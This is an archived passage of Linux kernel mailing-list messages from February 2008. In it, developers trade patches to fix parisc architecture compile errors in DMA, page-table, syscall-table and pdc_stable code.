X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2008 19:11:01 +0000 (UTC)
Cc: kyle@parisc-linux.org, Matthew Wilcox <matthew@wil.cx>,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lkml <linux-kernel@vger.kernel.org>
To: Roel Kluin <12o3l@tiscali.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 20:11:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JOe3j-0003t0-If
	for glpp-linux-parisc@gmane.org; Mon, 11 Feb 2008 20:11:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751824AbYBKTKt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2008 14:10:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752836AbYBKTKt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Feb 2008 14:10:49 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:25077 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751824AbYBKTKr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2008 14:10:47 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id CFB8F17809A; Mon, 11 Feb 2008 14:10:46 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <47B07685.5000606@tiscali.nl>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:109 gmane.linux.kernel:638020
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/109>

On Mon, Feb 11, 2008 at 05:23:33PM +0100, Roel Kluin wrote:
>

How about just doing something like this:

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 9448d4e..63f9b7f 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -409,7 +409,7 @@ pcxl_dma_init(void)
 
 __initcall(pcxl_dma_init);
 
-static void * pa11_dma_alloc_consistent (struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag)
+static void * pcxl_dma_alloc_consistent (struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag)
 {
 	unsigned long vaddr;
 	unsigned long paddr;
@@ -435,7 +435,7 @@ static void * pa11_dma_alloc_consistent (struct device *dev, size_t size, dma_ad
 	return (void *)vaddr;
 }
 
-static void pa11_dma_free_consistent (struct device *dev, size_t size, void *vaddr, dma_addr_t dma_handle)
+static void pcxl_dma_free_consistent (struct device *dev, size_t size, void *vaddr, dma_addr_t dma_handle)
 {
 	int order;
 
@@ -548,9 +548,9 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 
 struct hppa_dma_ops pcxl_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
-	.alloc_consistent =	pa11_dma_alloc_consistent,
-	.alloc_noncoherent =	pa11_dma_alloc_consistent,
-	.free_consistent =	pa11_dma_free_consistent,
+	.alloc_consistent =	pcxl_dma_alloc_consistent,
+	.alloc_noncoherent =	pcxl_dma_alloc_consistent,
+	.free_consistent =	pcxl_dma_free_consistent,
 	.map_single =		pa11_dma_map_single,
 	.unmap_single =		pa11_dma_unmap_single,
 	.map_sg =		pa11_dma_map_sg,
@@ -567,7 +567,7 @@ static void *fail_alloc_consistent(struct device *dev, size_t size,
 	return NULL;
 }
 
-static void *pa11_dma_alloc_noncoherent(struct device *dev, size_t size,
+static void *pcx_dma_alloc_noncoherent(struct device *dev, size_t size,
 					  dma_addr_t *dma_handle, gfp_t flag)
 {
 	void *addr;
@@ -579,7 +579,7 @@ static void *pa11_dma_alloc_noncoherent(struct device *dev, size_t size,
 	return addr;
 }
 
-static void pa11_dma_free_noncoherent(struct device *dev, size_t size,
+static void pcx_dma_free_noncoherent(struct device *dev, size_t size,
 					void *vaddr, dma_addr_t iova)
 {
 	free_pages((unsigned long)vaddr, get_order(size));
@@ -589,8 +589,8 @@ static void pa11_dma_free_noncoherent(struct device *dev, size_t size,
 struct hppa_dma_ops pcx_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
 	.alloc_consistent =	fail_alloc_consistent,
-	.alloc_noncoherent =	pa11_dma_alloc_noncoherent,
-	.free_consistent =	pa11_dma_free_noncoherent,
+	.alloc_noncoherent =	pcx_dma_alloc_noncoherent,
+	.free_consistent =	pcx_dma_free_noncoherent,
 	.map_single =		pa11_dma_map_single,
 	.unmap_single =		pa11_dma_unmap_single,
 	.map_sg =		pa11_dma_map_sg,

From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubi.sher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Wed, 13 Feb 2008 07:49:12 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <JW60A0$CF80A6CA85E28806A3D1EDDACE158868@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1202885810 4848 80.91.229.12 (13 Feb 2008 06:56:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Feb 2008 06:56:50 +0000 (UTC)
Cc: "clameter" <clameter@sgi.com>, "kyle" <kyle@mcmartin.ca>,
	"bunk" <bunk@kernel.org>, "kyle" <kyle@parisc-linux.org>,
	"matthew" <matthew@wil.cx>, "grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 13 07:57:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JPBYK-000176-7p
	for glpp-linux-parisc@gmane.org; Wed, 13 Feb 2008 07:57:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752037AbYBMG4i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Feb 2008 01:56:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752074AbYBMG4h
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 13 Feb 2008 01:56:37 -0500
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:45062 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752037AbYBMG4g convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Feb 2008 01:56:36 -0500
X-Greylist: delayed 398 seconds by postgrey-1.27 at vger.kernel.org; Wed, 13 Feb 2008 01:56:36 EST
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m1D6nCqO027771;
	Wed, 13 Feb 2008 07:49:13 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:110 gmane.linux.kernel:638960
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/110>

> On Thu, Feb 07, 2008 at 03:33:07PM -0800, Christoph Lameter wrote:
> > On Thu, 7 Feb 2008, Kyle McMartin wrote:
> > 
> > > yes, it's in my batch of fixes.
> > 
> > <big sigh of relief> So I do not have to worry about it?
> > 
> 
> haha no. i don't expect people to have to untangle the mess of includes
> that is <asm-parisc/*.h> :)
> 
> cheers, kyle
> -
This move to define those symbol before including linux/mm.h seems to make the
drill:
--- include/asm-parisc/pgtable.h.Orig	2007-10-22 08:19:20.000000000 +0000
+++ include/asm-parisc/pgtable.h	2008-02-12 16:28:36.000000000 +0000
@@ -10,6 +10,12 @@
  * we simulate an x86-style page table for the linux mm code
  */
 
+extern  void *vmalloc_start;
+#define PCXL_DMA_MAP_SIZE   (8*1024*1024)
+#define VMALLOC_START   ((unsigned long)vmalloc_start)
+/* this is a fixmap remnant, see fixmap.h */
+#define VMALLOC_END	(KERNEL_MAP_END)
+
 #include <linux/mm.h>		/* for vm_area_struct */
 #include <linux/bitops.h>
 #include <asm/processor.h>
@@ -116,14 +122,6 @@
 
 #define FIRST_USER_ADDRESS	0
 
-#ifndef __ASSEMBLY__
-extern  void *vmalloc_start;
-#define PCXL_DMA_MAP_SIZE   (8*1024*1024)
-#define VMALLOC_START   ((unsigned long)vmalloc_start)
-/* this is a fixmap remnant, see fixmap.h */
-#define VMALLOC_END	(KERNEL_MAP_END)
-#endif
-
 /* NB: The tlb miss handlers make certain assumptions about the order */
 /*     of the following bits, so be careful (One example, bits 25-31  */
 /*     are moved together in one instruction).                        */
=== <> ====

But next compile error appears there:

In file included from
/CAD/linux-2.6.25-rc1-pa-git-20080212/arch/parisc/mm/init.c:26:
include2/asm/pgalloc.h:142: error: conflicting types for 'pte_free_kernel'
include2/asm/pgalloc.h:137: error: previous definition of 'pte_free_kernel'
was here
include2/asm/pgalloc.h: In function 'pte_free_kernel':
include2/asm/pgalloc.h:144: error: expected ')' before ';' token
include2/asm/pgalloc.h:145: error: too few arguments to function 'pte_free_kernel'
include2/asm/pgalloc.h:145: error: expected ';' before '}' token
make[2]: *** [arch/parisc/mm/init.o] Error 1
make[1]: *** [arch/parisc/mm] Error 2
make: *** [sub-make] Error 2


and in include/asm-parisc/pgalloc.h we can read:

static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
{
        free_page((unsigned long)pte);
}

static inline void pte_free_kernel(struct mm_struct *mm, struct page *pte)
{
        pgtable_page_dtor(pte);
        pte_free_kernel(page_address((pte));
}

i.e. 2 time the definition of the same function: which is the right definition?

Cheers,
    r.

---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Wed, 13 Feb 2008 13:42:10 +0100
Lines: 150
Approved: news@gmane.org
Message-ID: <JW6GMA$1445536B7A545413BA0D6B6753D6901F@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1202906586 7741 80.91.229.12 (13 Feb 2008 12:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Feb 2008 12:43:06 +0000 (UTC)
Cc: "kyle" <kyle@mcmartin.ca>, "clameter" <clameter@sgi.com>,
	"kyle" <kyle@mcmartin.ca>, "bunk" <bunk@kernel.org>,
	"kyle" <kyle@parisc-linux.org>, "matthew" <matthew@wil.cx>,
	"grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"linux-kernel" <linux-kernel@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "rubi\.sher" <rubi.sher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 13 13:43:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JPGxS-0007mq-9W
	for glpp-linux-parisc@gmane.org; Wed, 13 Feb 2008 13:43:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751096AbYBMMm4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Feb 2008 07:42:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750962AbYBMMm4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 13 Feb 2008 07:42:56 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:41863 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750807AbYBMMmy convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Feb 2008 07:42:54 -0500
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m1DCgA5P026227;
	Wed, 13 Feb 2008 13:42:10 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:111 gmane.linux.kernel:639136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/111>

> > On Thu, Feb 07, 2008 at 03:33:07PM -0800, Christoph Lameter wrote:
> > > On Thu, 7 Feb 2008, Kyle McMartin wrote:
> > > 
> > > > yes, it's in my batch of fixes.
> > > 
> > > <big sigh of relief> So I do not have to worry about it?
> > > 
> > 
> > haha no. i don't expect people to have to untangle the mess of includes
> > that is <asm-parisc/*.h> :)
> > 
> > cheers, kyle
> > -
> This move to define those symbol before including linux/mm.h seems to make the
> drill:
> --- include/asm-parisc/pgtable.h.Orig	2007-10-22 08:19:20.000000000 +0000
> +++ include/asm-parisc/pgtable.h	2008-02-12 16:28:36.000000000 +0000
> @@ -10,6 +10,12 @@
>   * we simulate an x86-style page table for the linux mm code
>   */
>  
> +extern  void *vmalloc_start;
> +#define PCXL_DMA_MAP_SIZE   (8*1024*1024)
> +#define VMALLOC_START   ((unsigned long)vmalloc_start)
> +/* this is a fixmap remnant, see fixmap.h */
> +#define VMALLOC_END	(KERNEL_MAP_END)
> +
>  #include <linux/mm.h>		/* for vm_area_struct */
>  #include <linux/bitops.h>
>  #include <asm/processor.h>
> @@ -116,14 +122,6 @@
>  
>  #define FIRST_USER_ADDRESS	0
>  
> -#ifndef __ASSEMBLY__
> -extern  void *vmalloc_start;
> -#define PCXL_DMA_MAP_SIZE   (8*1024*1024)
> -#define VMALLOC_START   ((unsigned long)vmalloc_start)
> -/* this is a fixmap remnant, see fixmap.h */
> -#define VMALLOC_END	(KERNEL_MAP_END)
> -#endif
> -
>  /* NB: The tlb miss handlers make certain assumptions about the order */
>  /*     of the following bits, so be careful (One example, bits 25-31  */
>  /*     are moved together in one instruction).                        */
> === <> ====
> 
> But next compile error appears there:
> 
> In file included from
> /CAD/linux-2.6.25-rc1-pa-git-20080212/arch/parisc/mm/init.c:26:
> include2/asm/pgalloc.h:142: error: conflicting types for 'pte_free_kernel'
> include2/asm/pgalloc.h:137: error: previous definition of 'pte_free_kernel'
> was here
> include2/asm/pgalloc.h: In function 'pte_free_kernel':
> include2/asm/pgalloc.h:144: error: expected ')' before ';' token
> include2/asm/pgalloc.h:145: error: too few arguments to function
'pte_free_kernel'
> include2/asm/pgalloc.h:145: error: expected ';' before '}' token
> make[2]: *** [arch/parisc/mm/init.o] Error 1
> make[1]: *** [arch/parisc/mm] Error 2
> make: *** [sub-make] Error 2
> 
> 
> and in include/asm-parisc/pgalloc.h we can read:
> 
> static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
> {
>         free_page((unsigned long)pte);
> }
> 
> static inline void pte_free_kernel(struct mm_struct *mm, struct page *pte)
> {
>         pgtable_page_dtor(pte);
>         pte_free_kernel(page_address((pte));
> }
> 
Well may be is it much more what parisc need?
--- ./include/asm-parisc/pgalloc.h.Orig	2008-02-11 07:31:24.000000000 +0000
+++ ./include/asm-parisc/pgalloc.h	2008-02-13 10:02:53.000000000 +0000
@@ -138,10 +138,10 @@
 	free_page((unsigned long)pte);
 }
 
-static inline void pte_free_kernel(struct mm_struct *mm, struct page *pte)
+static inline void pte_free(struct mm_struct *mm, pgtable_t pte)
 {
 	pgtable_page_dtor(pte);
-	pte_free_kernel(page_address((pte));
+	pte_free_kernel(mm, page_address((pte)));
 }
 
 #define check_pgt_cache()	do { } while (0)
=== <> ===

And btw some more small hunk:
    - sys_timerfd was gone so
--- ./arch/parisc/kernel/syscall_table.S.Orig	2007-10-22 08:18:54.000000000 +0000
+++ ./arch/parisc/kernel/syscall_table.S	2008-02-13 12:00:08.000000000 +0000
@@ -401,7 +401,7 @@
 	ENTRY_COMP(kexec_load)		/* 300 */
 	ENTRY_COMP(utimensat)
 	ENTRY_COMP(signalfd)
-	ENTRY_COMP(timerfd)
+	ENTRY_SAME(ni_syscall)		/* 303 (timerfd -- dead) */
 	ENTRY_SAME(eventfd)
 	ENTRY_COMP(fallocate)		/* 305 */
 
=== <> ===

    - some lake of changes of kset to kobj:
--- ./drivers/parisc/pdc_stable.c.Orig	2008-01-28 07:09:26.000000000 +0000
+++ ./drivers/parisc/pdc_stable.c	2008-02-13 11:22:16.000000000 +0000
@@ -829,7 +829,7 @@
 				   struct kobj_attribute *attr,
 				   const char *buf, size_t count)
 {
-	return pdcs_auto_write(kset, attr, buf, count, PF_AUTOBOOT);
+	return pdcs_auto_write(kobj, attr, buf, count, PF_AUTOBOOT);
 }
 
 /**
@@ -845,7 +845,7 @@
 				     struct kobj_attribute *attr,
 				     const char *buf, size_t count)
 {
-	return pdcs_auto_write(kset, attr, buf, count, PF_AUTOSEARCH);
+	return pdcs_auto_write(kobj, attr, buf, count, PF_AUTOSEARCH);
 }
 
 /**
@@ -1066,7 +1066,7 @@
 	}
 
 	/* Don't forget the root entries */
-	error = sysfs_create_group(stable_kobj, pdcs_attr_group);
+	error = sysfs_create_group(stable_kobj, &pdcs_attr_group);
 
 	/* register the paths kset as a child of the stable kset */
 	paths_kset = kset_create_and_add("paths", NULL, stable_kobj);
=== <> ===

And the kernel build, but I don't yet try to boot it...

Hth,
r.
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Thu, 14 Feb 2008 00:14:04 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <20080214051404.GA29980@phobos.i.cabal.ca>
References: <JW60A0$CF80A6CA85E28806A3D1EDDACE158868@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1202966063 10600 80.91.229.12 (14 Feb 2008 05:14:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Feb 2008 05:14:23 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>, clameter <clameter@sgi.com>,
	bunk <bunk@kernel.org>, kyle <kyle@parisc-linux.org>,
	matthew <matthew@wil.cx>, grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	rubisher <rubisher@scarlet.be>
To: rubisher <rubi.sher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 14 06:14:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JPWQj-0003Nt-61
	for glpp-linux-parisc@gmane.org; Thu, 14 Feb 2008 06:14:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750951AbYBNFOJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Feb 2008 00:14:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750869AbYBNFOJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 14 Feb 2008 00:14:09 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:60618 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750774AbYBNFOH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Feb 2008 00:14:07 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 1044017808A; Thu, 14 Feb 2008 00:14:05 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <JW60A0$CF80A6CA85E28806A3D1EDDACE158868@scarlet.be>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:112 gmane.linux.kernel:639701
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/112>

On Wed, Feb 13, 2008 at 07:49:12AM +0100, rubisher wrote:
> --- include/asm-parisc/pgtable.h.Orig	2007-10-22 08:19:20.000000000 +0000
> +++ include/asm-parisc/pgtable.h	2008-02-12 16:28:36.000000000 +0000
> +extern  void *vmalloc_start;
> +#define PCXL_DMA_MAP_SIZE   (8*1024*1024)
> +#define VMALLOC_START   ((unsigned long)vmalloc_start)
> +/* this is a fixmap remnant, see fixmap.h */
> +#define VMALLOC_END	(KERNEL_MAP_END)
> +

i moved this to fixmap.h, since i think it makes more sense there,
really.

> static inline void pte_free_kernel(struct mm_struct *mm, struct page *pte)
> {
>         pgtable_page_dtor(pte);
>         pte_free_kernel(page_address((pte));
> }
> 

this is a stunning bit of ignorant patching courtesy of
2f569afd9ced9ebec9a6eb3dbf6f83429be0a7b4 which:

-#define pte_free(mm, page) pte_free_kernel(page_address(page))
+static inline void pte_free_kernel(struct mm_struct *mm, struct page
*pte)
+{
+       pgtable_page_dtor(pte);
+       pte_free_kernel(page_address((pte));
+}

only wrong on *two* counts.

anyway, fixed this up. sigh.

From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc compile error
Date: Thu, 14 Feb 2008 00:22:50 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <20080214052250.GB29980@phobos.i.cabal.ca>
References: <JW6GMA$1445536B7A545413BA0D6B6753D6901F@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1202966590 11694 80.91.229.12 (14 Feb 2008 05:23:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Feb 2008 05:23:10 +0000 (UTC)
Cc: "rubi.sher" <rubi.sher@scarlet.be>, kyle <kyle@mcmartin.ca>,
	clameter <clameter@sgi.com>, bunk <bunk@kernel.org>,
	kyle <kyle@parisc-linux.org>, matthew <matthew@wil.cx>,
	grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 14 06:23:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JPWZ9-0006Ph-IF
	for glpp-linux-parisc@gmane.org; Thu, 14 Feb 2008 06:23:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751354AbYBNFWx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Feb 2008 00:22:53 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751540AbYBNFWw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 14 Feb 2008 00:22:52 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:62143 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751354AbYBNFWv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Feb 2008 00:22:51 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 85098178089; Thu, 14 Feb 2008 00:22:50 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <JW6GMA$1445536B7A545413BA0D6B6753D6901F@scarlet.be>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:113 gmane.linux.kernel:639714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/113>

On Wed, Feb 13, 2008 at 01:42:10PM +0100, rubisher wrote:
>     - some lake of changes of kset to kobj:

thanks, i don't build this driver, somehow it made its way out of my
configs. patch looks correct though. applied.

> --- ./drivers/parisc/pdc_stable.c.Orig	2008-01-28 07:09:26.000000000 +0000
> +++ ./drivers/parisc/pdc_stable.c	2008-02-13 11:22:16.000000000 +0000
> @@ -829,7 +829,7 @@
>  				   struct kobj_attribute *attr,
>  				   const char *buf, size_t count)
>  {
> -	return pdcs_auto_write(kset, attr, buf, count, PF_AUTOBOOT);
> +	return pdcs_auto_write(kobj, attr, buf, count, PF_AUTOBOOT);
>  }
>  
>  /**
> @@ -845,7 +845,7 @@
>  				     struct kobj_attribute *attr,
>  				     const char *buf, size_t count)
>  {
> -	return pdcs_auto_write(kset, attr, buf, count, PF_AUTOSEARCH);
> +	return pdcs_auto_write(kobj, attr, buf, count, PF_AUTOSEARCH);
>  }
>  
>  /**
> @@ -1066,7 +1066,7 @@
>  	}
>  
>  	/* Don't forget the root entries */
> -	error = sysfs_create_group(stable_kobj, pdcs_attr_group);
> +	error = sysfs_create_group(stable_kobj, &pdcs_attr_group);
>  
>  	/* register the paths kset as a child of the stable kset */
>  	paths_kset = kset_create_and_add("paths", NULL, stable_kobj);
> === <> ===
> 
> And the kernel build, but I don't yet try to boot it...
> 
> Hth,
> r.
> ---
> Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> http://www.scarlet.be/
> 
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

From - Thu Nov 08 21:01:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?utf-8?q?S=2E=C3=87a=C4=9Flar=20Onur?= <caglar@pardus.org.tr>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 03/14] arch/parisc/kernel/unaligned.c: Use time_* macros
Date: Thu, 14 Feb 2008 17:36:41 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <1203003412-11594-4-git-send-email-caglar@pardus.org.tr>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1203003562 644 80.91.229.12 (14 Feb 2008 15:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Feb 2008 15:39:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	=?utf-8?q?S=2E=C3=87a=C4=9Flar=20Onur?= <caglar@pardus.org.tr>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 14 16:39:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JPgBc-0001ow-GS
	for glpp-linux-parisc@gmane.org; Thu, 14 Feb 2008 16:39:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753314AbYBNPjN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
